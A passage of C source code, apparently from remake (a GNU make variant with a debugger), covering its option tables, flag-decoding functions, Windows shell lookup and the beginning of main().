Don't start multiple jobs unless load is below N.\\n\"),\n    N_(\"\\\n  -L, --check-symlink-times   Use the latest mtime between symlinks and target.\\n\"),\n    N_(\"\\\n  --no-extended-errors        Do not give additional error reporting.\\n\"),\n    N_(\"\\\n  -n, --just-print, --dry-run, --recon\\n\\\n                              Don't actually run any recipe; just print them.\\n\"),\n    N_(\"\\\n  -o FILE, --old-file=FILE, --assume-old=FILE\\n\\\n                              Consider FILE to be very old and don't remake it.\\n\"),\n    N_(\"\\\n  -O[TYPE], --output-sync[=TYPE]\\n\\\n                              Synchronize output of parallel jobs by TYPE.\\n\"),\n    N_(\"\\\n  -p, --print-data-base       Print make's internal database.\\n\"),\n    N_(\"\\\n  -P, --profile[=FORMAT]      Print profiling information for each target using FORMAT.\\n\\\n                              If FORMAT isn't specified, default to \\\"callgrind\\\"\\n\"),\n    N_(\"\\\n  --profile-directory=DIR     Output profiling data to the DIR directory.\\n\"),\n    N_(\"\\\n  -q, --question              Run no recipe; exit status says if up to date.\\n\"),\n    N_(\"\\\n  -r, --no-builtin-rules      Disable the built-in implicit rules.\\n\"),\n    N_(\"\\\n  -R, --no-builtin-variables  Disable the built-in variable settings.\\n\"),\n    N_(\"\\\n  -s, --silent, --quiet       Don't echo recipes.\\n\"),\n    N_(\"\\\n  --no-silent                 Echo recipes (disable --silent mode).\\n\"),\n    N_(\"\\\n  -S, --no-keep-going, --stop\\n\\\n                              Turns off -k.\\n\"),\n    N_(\"\\\n  --targets                   Give list of explicitly-named targets.\\n\"),\n    N_(\"\\\n  --tasks                     Give list of targets which have descriptions\\n\\\n                              associated with them.\\n\"),\n    N_(\"\\\n  -t, --touch                 Touch targets instead of remaking them.\\n\"),\n    N_(\"\\\n  -v, --version               Print the version number of make and exit.\\n\"),\n    N_(\"\\\n  --verbosity=LEVEL           Set verbosity level. LEVEL may be \\\"terse\\\" \\\"no-header\\\" or\\n\\\n                              \\\"full\\\". The default is \\\"full\\\".\\n\"),\n    N_(\"\\\n  -w, --print-directory       Print the current directory.\\n\"),\n    N_(\"\\\n  --no-print-directory        Turn off -w, even if it was turned on implicitly.\\n\"),\n    N_(\"\\\n  -W FILE, --what-if=FILE, --new-file=FILE, --assume-new=FILE\\n\\\n                              Consider FILE to be infinitely new.\\n\"),\n    N_(\"\\\n  --warn-undefined-variables  Warn when an undefined variable is referenced.\\n\"),\n    N_(\"\\\n  -x, --trace[=TYPE]          Trace command execution TYPE may be\\n\\\n                              \\\"command\\\", \\\"read\\\", \\\"normal\\\".\\\"\\n\\\n                              \\\"noshell\\\", or \\\"full\\\". Default is \\\"normal\\\"\\n\"),\n    N_(\"\\\n  --debugger-stop[=TYPE]      Which point to enter debugger. TYPE may be\\n\\\n                              \\\"goal\\\", \\\"preread\\\", \\\"preaction\\\",\\n\\\n                              \\\"full\\\", \\\"error\\\", or \\\"fatal\\\".\\n\\\n                              Only makes sense with -X set.\\n\"),\n    N_(\"\\\n  -v, --version               Print the version number of make and exit.\\n\"),\n    N_(\"\\\n  -X, --debugger              Enter debugger.\\n\"),\n    N_(\"\\\n  -!, --post-mortem           Go into debugger on error.\\n\\\n                              Same as --debugger --debugger-stop=error\\n\"),\n    N_(\"\\\n  --no-readline               Do not use GNU ReadLine in debugger.\\n\"),\n    NULL\n  };\n\n/* The table of command switches.\n   Order matters here: this is the order MAKEFLAGS will be constructed.\n   So be sure all simple flags (single char, no argument) come first.  */\n\nstatic const struct command_switch switches[] =\n  {\n    { 'b', ignore, 0, 0, 0, 0, 0, 0, 0 },\n    { 'B', flag, &always_make_set,    1, 1, 0, 0, 0, \"always-make\" },\n    { 'c', flag, &search_parent_flag, 1, 1, 0, 0, 0, \"search-parent\" },\n    { 'd', flag, &debug_flag,         1, 1, 0, 0, 0, 0 },\n    { 'e', flag, &env_overrides,      1, 1, 0, 0, 0, \"environment-overrides\", },\n    { 'h', flag, &print_usage_flag,   0, 0, 0, 0, 0, \"help\" },\n    { 'i', flag, &ignore_errors_flag, 1, 1, 0, 0, 0, \"ignore-errors\" },\n    { 'k', flag, &keep_going_flag,    1, 1, 0, 0, &default_keep_going_flag,\n      \"keep-going\" },\n    { 'L', flag, &check_symlink_flag, 1, 1, 0, 0, 0, \"check-symlink-times\" },\n    { 'm', ignore, 0, 0, 0, 0, 0, 0, 0 },\n    { 'n', flag, &just_print_flag, 1, 1, 1, 0, 0, \"just-print\" },\n    { 'p', flag, &print_data_base_flag, 1, 1, 0, 0, 0, \"print-data-base\" },\n    { 'P', string, &profile_option, 1, 1, 0, \"callgrind\", 0, \"profile\" },\n    { 'q', flag, &question_flag, 1, 1, 1, 0, 0, \"question\" },\n    { 'r', flag, &no_builtin_rules_flag, 1, 1, 0, 0, 0, \"no-builtin-rules\" },\n    { 'R', flag, &no_builtin_variables_flag, 1, 1, 0, 0, 0,\n      \"no-builtin-variables\" },\n    { 's', flag, &silent_flag, 1, 1, 0, 0, &default_silent_flag, \"silent\" },\n    { 'S', flag_off, &keep_going_flag, 1, 1, 0, 0, &default_keep_going_flag,\n      \"no-keep-going\" },\n    { 't', flag, &touch_flag, 1, 1, 1, 0, 0, \"touch\" },\n    { 'v', flag, &print_version_flag, 1, 1, 0, 0, 0, \"version\" },\n    { 'w', flag, &print_directory, 1, 1, 0, 0, 0, \"print-directory\" },\n    { 'X', flag, &debugger_flag, 1, 1, 0, 0, 0, \"debugger\" },\n    { '!', flag, &post_mortem_flag, 1, 1, 0, 0, 0, \"post-mortem\" },\n\n    /* These options take arguments.  */\n    { 'C', filename, &directories, 0, 0, 0, 0, 0, \"directory\" },\n    { 'E', strlist, &eval_strings,    1, 0, 0, 0, 0, \"eval\" },\n    { 'f', filename, &makefiles, 0, 0, 0, 0, 0, \"file\" },\n    { 'I', filename, &include_directories, 1, 1, 0, 0, 0,\n      \"include-dir\" },\n    { 'j', positive_int, &arg_job_slots, 1, 1, 0, &inf_jobs, &default_job_slots,\n      \"jobs\" },\n    { 'l', floating, &max_load_average, 1, 1, 0, &default_load_average,\n      &default_load_average, \"load-average\" },\n    { 'o', filename, &old_files, 0, 0, 0, 0, 0, \"old-file\" },\n    { 'O', string, &output_sync_option, 1, 1, 0, \"target\", 0, \"output-sync\" },\n    { 'W', filename, &new_files, 0, 0, 0, 0, 0, \"what-if\" },\n    { 'x', strlist, &tracing_opts,  1, 1, 0, \"normal\",    0, \"trace\" },\n\n    /* These are long-style options.  */\n    { CHAR_MAX+1, strlist, &db_flags, 1, 1, 0, \"basic\", 0, \"debug\" },\n    { CHAR_MAX+2, string, &jobserver_auth, 1, 1, 0, 0, 0, \"jobserver-auth\" },\n    { CHAR_MAX+3,  flag, &show_tasks_flag, 0, 0, 0, 0, 0, \"tasks\" },\n    { CHAR_MAX+4, flag, &inhibit_print_directory, 1, 1, 0, 0, 0,\n      \"no-print-directory\" },\n    { CHAR_MAX+5, flag, &warn_undefined_variables_flag, 1, 1, 0, 0, 0,\n      \"warn-undefined-variables\" },\n    { CHAR_MAX+7, string, &sync_mutex, 1, 1, 0, 0, 0, \"sync-mutex\" },\n    { CHAR_MAX+8, flag_off, &silent_flag, 1, 1, 0, 0, &default_silent_flag, \"no-silent\" },\n    { CHAR_MAX+9, string, &jobserver_auth, 1, 0, 0, 0, 0, \"jobserver-fds\" },\n    { CHAR_MAX+10, strlist, &verbosity_opts, 1, 1, 0, 0, 0,\n      \"verbosity\" },\n    { CHAR_MAX+11, flag, (char *) &no_extended_errors, 1, 1, 0, 0, 0,\n        \"no-extended-errors\", },\n    { CHAR_MAX+12, flag_off, (char *) &use_readline_flag, 1, 0, 0, 0, 0,\n        \"no-readline\", },\n    { CHAR_MAX+13, flag,  &show_targets_flag, 0, 0, 0, 0, 0,\n      \"targets\" },\n    { CHAR_MAX+14, strlist, &debugger_opts, 1, 1, 0, \"preaction\", 0,\n      \"debugger-stop\" },\n    { CHAR_MAX+15, filename, &profile_dir_opt, 1, 1, 0, 0, 0, \"profile-directory\" },\n    { 0, 0, 0, 0, 0, 0, 0, 0, 0 }\n  };\n\n/* Secondary long names for options.  */\n\nstatic struct option long_option_aliases[] =\n  {\n    { \"quiet\",          no_argument,            0, 's' },\n    { \"stop\",           no_argument,            0, 'S' },\n    { \"new-file\",       required_argument,      0, 'W' },\n    { \"assume-new\",     required_argument,      0, 'W' },\n    { \"assume-old\",     required_argument,      0, 'o' },\n    { \"max-load\",       optional_argument,      0, 'l' },\n    { \"dry-run\",        no_argument,            0, 'n' },\n    { \"recon\",          no_argument,            0, 'n' },\n    { \"makefile\",       required_argument,      0, 'f' },\n  };\n\n/* List of goal targets.  */\n\nstatic struct goaldep *goals, *lastgoal;\n\n/* List of variables which were defined on the command line\n   (or, equivalently, in MAKEFLAGS).  */\n\nstruct command_variable\n  {\n    struct command_variable *next;\n    struct variable *variable;\n  };\nstatic struct command_variable *command_variables;\n\n/*! Value of argv[0] which seems to get modified. Can we merge this with\n    program below? */\nchar *argv0 = NULL;\n\n/*! The name we were invoked with.  */\n\n/*! Our initial arguments -- used for debugger restart execvp.  */\nconst char * const*global_argv;\n\n/*! Our current directory before processing any -C options.  */\nchar *directory_before_chdir = NULL;\n\n/*! Pointer to the value of the .DEFAULT_GOAL special variable.\n  The value will be the name of the goal to remake if the command line\n  does not override it.  It can be set by the makefile, or else it's\n  the first target defined in the makefile whose name does not start\n  with '.'.  */\nstruct variable * default_goal_var;\n\n/*! Pointer to structure for the file .DEFAULT\n   whose commands are used for any file that has none of its own.\n   This is zero if the makefiles do not define .DEFAULT.  */\nstruct file *default_file;\n\n/* Nonzero if we have seen the '.SECONDEXPANSION' target.\n   This turns on secondary expansion of prerequisites.  */\n\nint second_expansion;\n\n/* Nonzero if we have seen the '.ONESHELL' target.\n   This causes the entire recipe to be handed to SHELL\n   as a single string, potentially containing newlines.  */\n\nint one_shell;\n\n/* Nonzero if we have seen the '.NOTPARALLEL' target.\n   This turns off parallel builds for this invocation of make.  */\n\nint not_parallel;\n\n/* Nonzero if some rule detected clock skew; we keep track so (a) we only\n   print one warning about it during the run, and (b) we can print a final\n   warning at the end of the run. */\n\nint clock_skew_detected;\n\n/* If output-sync is enabled we'll collect all the output generated due to\n   options, while reading makefiles, etc.  */\n\nstruct output make_sync;\n\n\f\n/* Mask of signals that are being caught with fatal_error_signal.  */\n\n#if defined(POSIX)\nsigset_t fatal_signal_set;\n#elif defined(HAVE_SIGSETMASK)\nint fatal_signal_mask;\n#endif\n\n#if !HAVE_DECL_BSD_SIGNAL && !defined bsd_signal\n# if !defined HAVE_SIGACTION\n#  define bsd_signal signal\n# else\ntypedef RETSIGTYPE (*bsd_signal_ret_t) (int);\n\nstatic bsd_signal_ret_t\nbsd_signal (int sig, bsd_signal_ret_t func)\n{\n  struct sigaction act, oact;\n  act.sa_handler = func;\n  act.sa_flags = SA_RESTART;\n  sigemptyset (&act.sa_mask);\n  sigaddset (&act.sa_mask, sig);\n  if (sigaction (sig, &act, &oact) != 0)\n    return SIG_ERR;\n  return oact.sa_handler;\n}\n# endif\n#endif\n\nvoid\ndecode_trace_flags (stringlist_t *ppsz_tracing_opts)\n{\n  if (ppsz_tracing_opts) {\n    const char **p;\n    db_level |= (DB_TRACE | DB_SHELL);\n    if (!ppsz_tracing_opts->list)\n      db_level |= (DB_BASIC);\n    else\n      for (p = ppsz_tracing_opts->list; *p != 0; ++p) {\n        if (0 == strcmp(*p, \"command\"))\n          ;\n        else if (0 == strcmp(*p, \"full\"))\n          db_level |= (DB_VERBOSE|DB_READ_MAKEFILES);\n        else if (0 == strcmp(*p, \"normal\"))\n          db_level |= DB_BASIC;\n        else if (0 == strcmp(*p, \"noshell\"))\n          db_level = DB_BASIC | DB_TRACE;\n        else if (0 == strcmp(*p, \"read\"))\n          db_level |= DB_READ_MAKEFILES;\n        else\n          OS ( fatal, NILF, _(\"unknown trace command execution type `%s'\"), *p);\n      }\n  }\n}\n\nvoid\ndecode_verbosity_flags (stringlist_t *ppsz_verbosity_opts)\n{\n  if (ppsz_verbosity_opts) {\n    const char **p;\n    if (ppsz_verbosity_opts->list)\n      for (p = ppsz_verbosity_opts->list; *p != 0; ++p) {\n        if (0 == strcmp(*p, \"no-header\"))\n          b_show_version = false;\n        else if (0 == strcmp(*p, \"full\")) {\n          db_level |= (DB_VERBOSE);\n\t  b_show_version = true;\n\t} else if (0 == strcmp(*p, \"terse\")) {\n\t  db_level &= (~DB_VERBOSE);\n\t  b_show_version = false;\n\t}\n      }\n  }\n}\n\nstatic void\ninitialize_global_hash_tables (void)\n{\n  init_hash_global_variable_set ();\n  strcache_init ();\n  init_hash_files ();\n  hash_init_directories ();\n  hash_init_function_table ();\n}\n\n/* This character map locate stop chars when parsing GNU makefiles.\n   Each element is true if we should stop parsing on that character.  */\n\nstatic const char *\nexpand_command_line_file (const char *name)\n{\n  const char *cp;\n  char *expanded = 0;\n\n  if (name[0] == '\\0')\n    O (fatal, NILF, _(\"empty string invalid as file name\"));\n\n  if (name[0] == '~')\n    {\n      expanded = remake_tilde_expand (name);\n      if (expanded && expanded[0] != '\\0')\n        name = expanded;\n    }\n\n  /* This is also done in parse_file_seq, so this is redundant\n     for names read from makefiles.  It is here for names passed\n     on the command line.  */\n  while (name[0] == '.' && name[1] == '/')\n    {\n      name += 2;\n      while (name[0] == '/')\n        /* Skip following slashes: \".//foo\" is \"foo\", not \"/foo\".  */\n        ++name;\n    }\n\n  if (name[0] == '\\0')\n    {\n      /* Nothing else but one or more \"./\", maybe plus slashes!  */\n      name = \"./\";\n    }\n\n  cp = strcache_add (name);\n\n  free (expanded);\n\n  return cp;\n}\n\n/* Toggle -d on receipt of SIGUSR1.  */\n\n#ifdef SIGUSR1\nstatic RETSIGTYPE\ndebug_signal_handler (int sig UNUSED)\n{\n  db_level = db_level ? DB_NONE : DB_BASIC;\n}\n#endif\n\nstatic void\ndecode_debug_flags (void)\n{\n  const char **pp;\n\n  if (debug_flag)\n    db_level = DB_ALL;\n\n  if (db_flags)\n    for (pp=db_flags->list; *pp; ++pp)\n      {\n        const char *p = *pp;\n\n        while (1)\n          {\n            switch (tolower (p[0]))\n              {\n              case 'a':\n                db_level |= DB_ALL;\n                break;\n              case 'b':\n                db_level |= DB_BASIC;\n                break;\n              case 'i':\n                db_level |= DB_BASIC | DB_IMPLICIT;\n                break;\n              case 'j':\n                db_level |= DB_JOBS;\n                break;\n              case 'm':\n                db_level |= DB_BASIC | DB_MAKEFILES;\n                break;\n              case 'n':\n                db_level = 0;\n                break;\n              case 'v':\n                db_level |= DB_BASIC | DB_VERBOSE;\n                break;\n              default:\n                OS (fatal, NILF,\n                    _(\"unknown debug level specification '%s'\"), p);\n              }\n\n            while (*(++p) != '\\0')\n              if (*p == ',' || *p == ' ')\n                {\n                  ++p;\n                  break;\n                }\n\n            if (*p == '\\0')\n              break;\n          }\n      }\n\n  if (db_level)\n    verify_flag = 1;\n\n  if (! db_level)\n    debug_flag = 0;\n}\n\nstatic void\ndecode_output_sync_flags (void)\n{\n#ifdef NO_OUTPUT_SYNC\n  output_sync = OUTPUT_SYNC_NONE;\n#else\n  if (output_sync_option)\n    {\n      if (streq (output_sync_option, \"none\"))\n        output_sync = OUTPUT_SYNC_NONE;\n      else if (streq (output_sync_option, \"line\"))\n        output_sync = OUTPUT_SYNC_LINE;\n      else if (streq (output_sync_option, \"target\"))\n        output_sync = OUTPUT_SYNC_TARGET;\n      else if (streq (output_sync_option, \"recurse\"))\n        output_sync = OUTPUT_SYNC_RECURSE;\n      else\n        OS (fatal, NILF,\n            _(\"unknown output-sync type '%s'\"), output_sync_option);\n    }\n\n  if (sync_mutex)\n    RECORD_SYNC_MUTEX (sync_mutex);\n#endif\n}\n\nvoid\ndecode_profile_options(void)\n{\n  if (profile_option)\n  {\n    if (streq (profile_option, \"callgrind\"))\n      profile_flag = PROFILE_CALLGRIND;\n    else if (streq (profile_option, \"json\"))\n      profile_flag = PROFILE_JSON;\n    else\n      profile_flag = PROFILE_DISABLED;\n  }\n  else\n  {\n    profile_flag = PROFILE_DISABLED;\n  }\n\n  if (profile_dir_opt == NULL)\n  {\n    profile_directory = starting_directory;\n  }\n  else\n  {\n    const char *dir = profile_dir_opt->list[profile_dir_opt->idx - 1];\n    if (dir[0] != '/') {\n      char directory[GET_PATH_MAX];\n      sprintf(directory, \"%s/%s\", starting_directory, dir);\n      profile_dir_opt->list[profile_dir_opt->idx - 1] = strcache_add(directory);\n    }\n    profile_directory = profile_dir_opt->list[profile_dir_opt->idx - 1];\n  }\n}\n\n#ifdef WINDOWS32\n\n#ifndef NO_OUTPUT_SYNC\n\n/* This is called from start_job_command when it detects that\n   output_sync option is in effect.  The handle to the synchronization\n   mutex is passed, as a string, to sub-makes via the --sync-mutex\n   command-line argument.  */\nvoid\nprepare_mutex_handle_string (sync_handle_t handle)\n{\n  if (!sync_mutex)\n    {\n      /* Prepare the mutex handle string for our children.  */\n      /* 2 hex digits per byte + 2 characters for \"0x\" + null.  */\n      sync_mutex = xmalloc ((2 * sizeof (sync_handle_t)) + 2 + 1);\n      sprintf (sync_mutex, \"0x%Ix\", handle);\n      define_makeflags (1, 0);\n    }\n}\n\n#endif  /* NO_OUTPUT_SYNC */\n\n/*\n * HANDLE runtime exceptions by avoiding a requestor on the GUI. Capture\n * exception and print it to stderr instead.\n *\n * If ! DB_VERBOSE, just print a simple message and exit.\n * If DB_VERBOSE, print a more verbose message.\n * If compiled for DEBUG, let exception pass through to GUI so that\n *   debuggers can attach.\n */\nLONG WINAPI\nhandle_runtime_exceptions (struct _EXCEPTION_POINTERS *exinfo)\n{\n  PEXCEPTION_RECORD exrec = exinfo->ExceptionRecord;\n  LPSTR cmdline = GetCommandLine ();\n  LPSTR prg = strtok (cmdline, \" \");\n  CHAR errmsg[1024];\n#ifdef USE_EVENT_LOG\n  HANDLE hEventSource;\n  LPTSTR lpszStrings[1];\n#endif\n\n  if (! ISDB (DB_VERBOSE))\n    {\n      sprintf (errmsg,\n               _(\"%s: Interrupt/Exception caught (code = 0x%lx, addr = 0x%p)\\n\"),\n               prg, exrec->ExceptionCode, exrec->ExceptionAddress);\n      fprintf (stderr, errmsg);\n      exit (255);\n    }\n\n  sprintf (errmsg,\n           _(\"\\nUnhandled exception filter called from program %s\\nExceptionCode = %lx\\nExceptionFlags = %lx\\nExceptionAddress = 0x%p\\n\"),\n           prg, exrec->ExceptionCode, exrec->ExceptionFlags,\n           exrec->ExceptionAddress);\n\n  if (exrec->ExceptionCode == EXCEPTION_ACCESS_VIOLATION\n      && exrec->NumberParameters >= 2)\n    sprintf (&errmsg[strlen(errmsg)],\n             (exrec->ExceptionInformation[0]\n              ? _(\"Access violation: write operation at address 0x%p\\n\")\n              : _(\"Access violation: read operation at address 0x%p\\n\")),\n             (PVOID)exrec->ExceptionInformation[1]);\n\n  /* turn this on if we want to put stuff in the event log too */\n#ifdef USE_EVENT_LOG\n  hEventSource = RegisterEventSource (NULL, \"GNU Make\");\n  lpszStrings[0] = errmsg;\n\n  if (hEventSource != NULL)\n    {\n      ReportEvent (hEventSource,         /* handle of event source */\n                   EVENTLOG_ERROR_TYPE,  /* event type */\n                   0,                    /* event category */\n                   0,                    /* event ID */\n                   NULL,                 /* current user's SID */\n                   1,                    /* strings in lpszStrings */\n                   0,                    /* no bytes of raw data */\n                   lpszStrings,          /* array of error strings */\n                   NULL);                /* no raw data */\n\n      (VOID) DeregisterEventSource (hEventSource);\n    }\n#endif\n\n  /* Write the error to stderr too */\n  fprintf (stderr, errmsg);\n\n#ifdef DEBUG\n  return EXCEPTION_CONTINUE_SEARCH;\n#else\n  exit (255);\n  return (255); /* not reached */\n#endif\n}\n\n/*\n * On WIN32 systems we don't have the luxury of a /bin directory that\n * is mapped globally to every drive mounted to the system. Since make could\n * be invoked from any drive, and we don't want to propagate /bin/sh\n * to every single drive. Allow ourselves a chance to search for\n * a value for default shell here (if the default path does not exist).\n */\n\nint\nfind_and_set_default_shell (const char *token)\n{\n  int sh_found = 0;\n  char *atoken = 0;\n  const char *search_token;\n  const char *tokend;\n  PATH_VAR(sh_path);\n  extern const char *default_shell;\n\n  if (!token)\n    search_token = default_shell;\n  else\n    search_token = atoken = xstrdup (token);\n\n  /* If the user explicitly requests the DOS cmd shell, obey that request.\n     However, make sure that's what they really want by requiring the value\n     of SHELL either equal, or have a final path element of, \"cmd\" or\n     \"cmd.exe\" case-insensitive.  */\n  tokend = search_token + strlen (search_token) - 3;\n  if (((tokend == search_token\n        || (tokend > search_token\n            && (tokend[-1] == '/' || tokend[-1] == '\\\\')))\n       && !strcasecmp (tokend, \"cmd\"))\n      || ((tokend - 4 == search_token\n           || (tokend - 4 > search_token\n               && (tokend[-5] == '/' || tokend[-5] == '\\\\')))\n          && !strcasecmp (tokend - 4, \"cmd.exe\")))\n    {\n      batch_mode_shell = 1;\n      unixy_shell = 0;\n      sprintf (sh_path, \"%s\", search_token);\n      default_shell = xstrdup (w32ify (sh_path, 0));\n      DB (DB_VERBOSE, (_(\"find_and_set_shell() setting default_shell = %s\\n\"),\n                       default_shell));\n      sh_found = 1;\n    }\n  else if (!no_default_sh_exe\n           && (token == NULL || !strcmp (search_token, default_shell)))\n    {\n      /* no new information, path already set or known */\n      sh_found = 1;\n    }\n  else if (_access (search_token, 0) == 0)\n    {\n      /* search token path was found */\n      sprintf (sh_path, \"%s\", search_token);\n      default_shell = xstrdup (w32ify (sh_path, 0));\n      DB (DB_VERBOSE, (_(\"find_and_set_shell() setting default_shell = %s\\n\"),\n                       default_shell));\n      sh_found = 1;\n    }\n  else\n    {\n      char *p;\n      struct variable *v = lookup_variable (STRING_SIZE_TUPLE (\"PATH\"));\n\n      /* Search Path for shell */\n      if (v && v->value)\n        {\n          char *ep;\n\n          p  = v->value;\n          ep = strchr (p, PATH_SEPARATOR_CHAR);\n\n          while (ep && *ep)\n            {\n              *ep = '\\0';\n\n              sprintf (sh_path, \"%s/%s\", p, search_token);\n              if (_access (sh_path, 0) == 0)\n                {\n                  default_shell = xstrdup (w32ify (sh_path, 0));\n                  sh_found = 1;\n                  *ep = PATH_SEPARATOR_CHAR;\n\n                  /* terminate loop */\n                  p += strlen (p);\n                }\n              else\n                {\n                  *ep = PATH_SEPARATOR_CHAR;\n                  p = ++ep;\n                }\n\n              ep = strchr (p, PATH_SEPARATOR_CHAR);\n            }\n\n          /* be sure to check last element of Path */\n          if (p && *p)\n            {\n              sprintf (sh_path, \"%s/%s\", p, search_token);\n              if (_access (sh_path, 0) == 0)\n                {\n                  default_shell = xstrdup (w32ify (sh_path, 0));\n                  sh_found = 1;\n                }\n            }\n\n          if (sh_found)\n            DB (DB_VERBOSE,\n                (_(\"find_and_set_shell() path search set default_shell = %s\\n\"),\n                 default_shell));\n        }\n    }\n\n  /* naive test */\n  if (!unixy_shell && sh_found\n      && (strstr (default_shell, \"sh\") || strstr (default_shell, \"SH\")))\n    {\n      unixy_shell = 1;\n      batch_mode_shell = 0;\n    }\n\n#ifdef BATCH_MODE_ONLY_SHELL\n  batch_mode_shell = 1;\n#endif\n\n  free (atoken);\n\n  return (sh_found);\n}\n#endif  /* WINDOWS32 */\n\n#ifdef __MSDOS__\nstatic void\nmsdos_return_to_initial_directory (void)\n{\n  if (directory_before_chdir)\n    chdir (directory_before_chdir);\n}\n#endif  /* __MSDOS__ */\n\nstatic void\nreset_jobserver (void)\n{\n  jobserver_clear ();\n  free (jobserver_auth);\n  jobserver_auth = NULL;\n}\n\nint\nmain (int argc, const char **argv, char **envp)\n{\n  static char *stdin_nm = 0;\n  int makefile_status = MAKE_SUCCESS;\n  PATH_VAR (current_directory);\n  unsigned int restarts = 0;\n  unsigned int syncing = 0;\n  int argv_slots;\n#ifdef WINDOWS32\n  const char *unix_path = NULL;\n  const char *windows32_path = NULL;\n\n  SetUnhandledExceptionFilter (handle_runtime_exceptions);\n\n  /* start off assuming we have no shell */\n  unixy_shell = 0;\n  no_default_sh_exe = 1;\n#endif\n\n  /* Useful for attaching debuggers, etc.  */\n#ifdef SPIN\n  SPIN (\"main-entry\");\n#endif\n\n  argv0 = strdup(argv[0]);\n  output_init (&make_sync);\n\n  initialize_stopchar_map();\n\n#ifdef SET_STACK_SIZE\n /* Get rid of any avoidable limit on stack size.  */\n  {\n    struct rlimit rlim;\n\n    /* Set the stack limit huge so that alloca does not fail.  */\n    if (getrlimit (RLIMIT_STACK, &rlim) == 0\n        && rlim.rlim_cur > 0 && rlim.rlim_cur < rlim.rlim_max)\n      {\n        stack_limit = rlim;\n        rlim.rlim_cur = rlim.rlim_max;\n        setrlimit (RLIMIT_STACK, &rlim);\n      }\n    else\n      stack_limit.rlim_cur = 0;\n  }\n#endif\n\n  global_argv = argv;\n  /* Needed for OS/2 */\n  initialize_main (&argc, &argv);\n\n#ifdef MAKE_MAINTAINER_MODE\n  /* In maintainer mode we always enable verification.  */\n  verify_flag = 1;\n#endif\n\n#if defined (__MSDOS__) && !defined (_POSIX_SOURCE)\n  /* Request the most powerful version of 'system', to\n     make up for the dumb default shell.  */\n  __system_flags = (__system_redirect\n                    | __system_use_shell\n                    | __system_allow_multiple_cmds\n                    | __system_allow_long_cmds\n                    | __system_handle_null_commands\n                    | __system_emulate_chdir);\n\n#endif\n\n  /* Set up gettext/internationalization support.  */\n  setlocale (LC_ALL, \"\");\n  /* The cast to void shuts up compiler warnings on systems that\n     disable NLS.  */\n  (void)bindtextdomain (PACKAGE, LOCALEDIR);\n  (void)textdomain (PACKAGE);\n\n#ifdef  POSIX\n  sigemptyset (&fatal_signal_set);\n#define ADD_SIG(sig)    sigaddset (&fatal_signal_set, sig)\n#else\n#ifdef  HAVE_SIGSETMASK\n  fatal_signal_mask = 0;\n#define ADD_SIG(sig)    fatal_signal_mask |= sigmask (sig)\n#else\n#define ADD_SIG(sig)    (void)sig\n#endif\n#endif\n\n#define FATAL_SIG(sig)                                                        \\\n  if (bsd_signal (sig, fatal_error_signal) == SIG_IGN)                        \\\n    bsd_signal (sig, SIG_IGN);                                                \\\n  else                                                                        \\\n    ADD_SIG (sig);\n\n#ifdef SIGHUP\n  FATAL_SIG (SIGHUP);\n#endif\n#ifdef SIGQUIT\n  FATAL_SIG (SIGQUIT);\n#endif\n  FATAL_SIG (SIGINT);\n  FATAL_SIG (SIGTERM);\n\n#ifdef __MSDOS__\n  /* Windows 9X delivers FP exceptions in child programs to their\n     parent!  We don't want Make to die when a child divides by zero,\n     so we work around that lossage by catching SIGFPE.  */\n  FATAL_SIG (SIGFPE);\n#endif\n\n#ifdef  SIGDANGER\n  FATAL_SIG (SIGDANGER);\n#endif\n#ifdef SIGXCPU\n  FATAL_SIG (SIGXCPU);\n#endif\n#ifdef SIGXFSZ\n  FATAL_SIG (SIGXFSZ);\n#endif\n\n#undef  FATAL_SIG\n\n  /* Do not ignore the child-death signal.  This must be done before\n     any children could possibly be created; otherwise, the wait\n     functions won't work on systems with the SVR4 ECHILD brain\n     damage, if our invoker is ignoring this signal.  */\n\n#ifdef HAVE_WAIT_NOHANG\n# if defined SIGCHLD\n  (void) bsd_signal (SIGCHLD, SIG_DFL);\n# endif\n# if defined SIGCLD && SIGCLD != SIGCHLD\n  (void) bsd_signal (SIGCLD, SIG_DFL);\n# endif\n#endif\n\n  output_init (NULL);\n\n  /* Figure out where this program lives.  */\n\n  if (argv[0] == 0)\n    argv[0] = (char *)\"\";\n  if (argv[0][0] == '\\0')\n    program = \"make\";\n  else\n    {\n#if defined(HAVE_DOS_PATHS)\n      const char* start = argv[0];\n\n      /* Skip an initial drive specifier if present.  */\n      if (isalpha ((unsigned char)start[0]) && start[1] == ':')\n        start += 2;\n\n      if (start[0] == '\\0')\n        program = \"make\";\n      else\n        {\n          program = start + strlen (start);\n          while (program > start && ! STOP_SET (program[-1], MAP_DIRSEP))\n            --program;\n\n          /* Remove the .exe extension if present.  */\n          {\n            size_t len = strlen (program);\n            if (len > 4 && streq (&program[len - 4], \".exe\"))\n              program = xstrndup (program, len - 4);\n          }\n        }\n#else\n      program = strrchr (argv[0], '/');\n      if (program == 0)\n        program = argv[0];\n      else\n        ++program;\n#endif\n    }\n\n  /* Set up to access user data (files).  */\n  user_access ();\n\n  initialize_global_hash_tables ();\n\n  /* Figure out where we are.  */\n\n#ifdef WINDOWS32\n  if (getcwd_fs (current_directory, GET_PATH_MAX) == 0)\n#else\n  if (getcwd (current_directory, GET_PATH_MAX) == 0)\n#endif\n    {\n#ifdef  HAVE_GETCWD\n      perror_with_name (\"getcwd\", \"\");\n#else\n      OS (error, NILF, \"getwd: %s\", current_directory);\n#endif\n      current_directory[0] = '\\0';\n      directory_before_chdir = 0;\n    }\n  else\n    directory_before_chdir = xstrdup (current_directory);\n\n#ifdef  __MSDOS__\n  /* Make sure we will return to the initial directory, come what may.  */\n  atexit (msdos_return_to_initial_directory);\n#endif\n\n  /* Initialize the special variables.  */\n  define_variable_cname (\".VARIABLES\", \"\", o_default, 0)->special = 1;\n  /* define_variable_cname (\".TARGETS\", \"\", o_default, 0)->special = 1; */\n  define_variable_cname (\".RECIPEPREFIX\", \"\", o_default, 0)->special = 1;\n  define_variable_cname (\".SHELLFLAGS\", \"-c\", o_default, 0);\n  define_variable_cname (\".LOADED\", \"\", o_default, 0);\n\n  /* Set up .FEATURES\n     Use a separate variable because define_variable_cname() is a macro and\n     some compilers (MSVC) don't like conditionals in macros.  */\n  {\n    const char *features = \"target-specific order-only second-expansion\"\n                           \" else-if shortest-stem undefine oneshell nocomment\"\n                           \" grouped-target extra-prereqs\"\n#ifndef NO_ARCHIVES\n                           \" archives\"\n#endif\n#ifdef MAKE_JOBSERVER\n                           \" jobserver\"\n#endif\n#ifndef NO_OUTPUT_SYNC\n                           \" output-sync\"\n#endif\n#ifdef MAKE_SYMLINKS\n                           \" 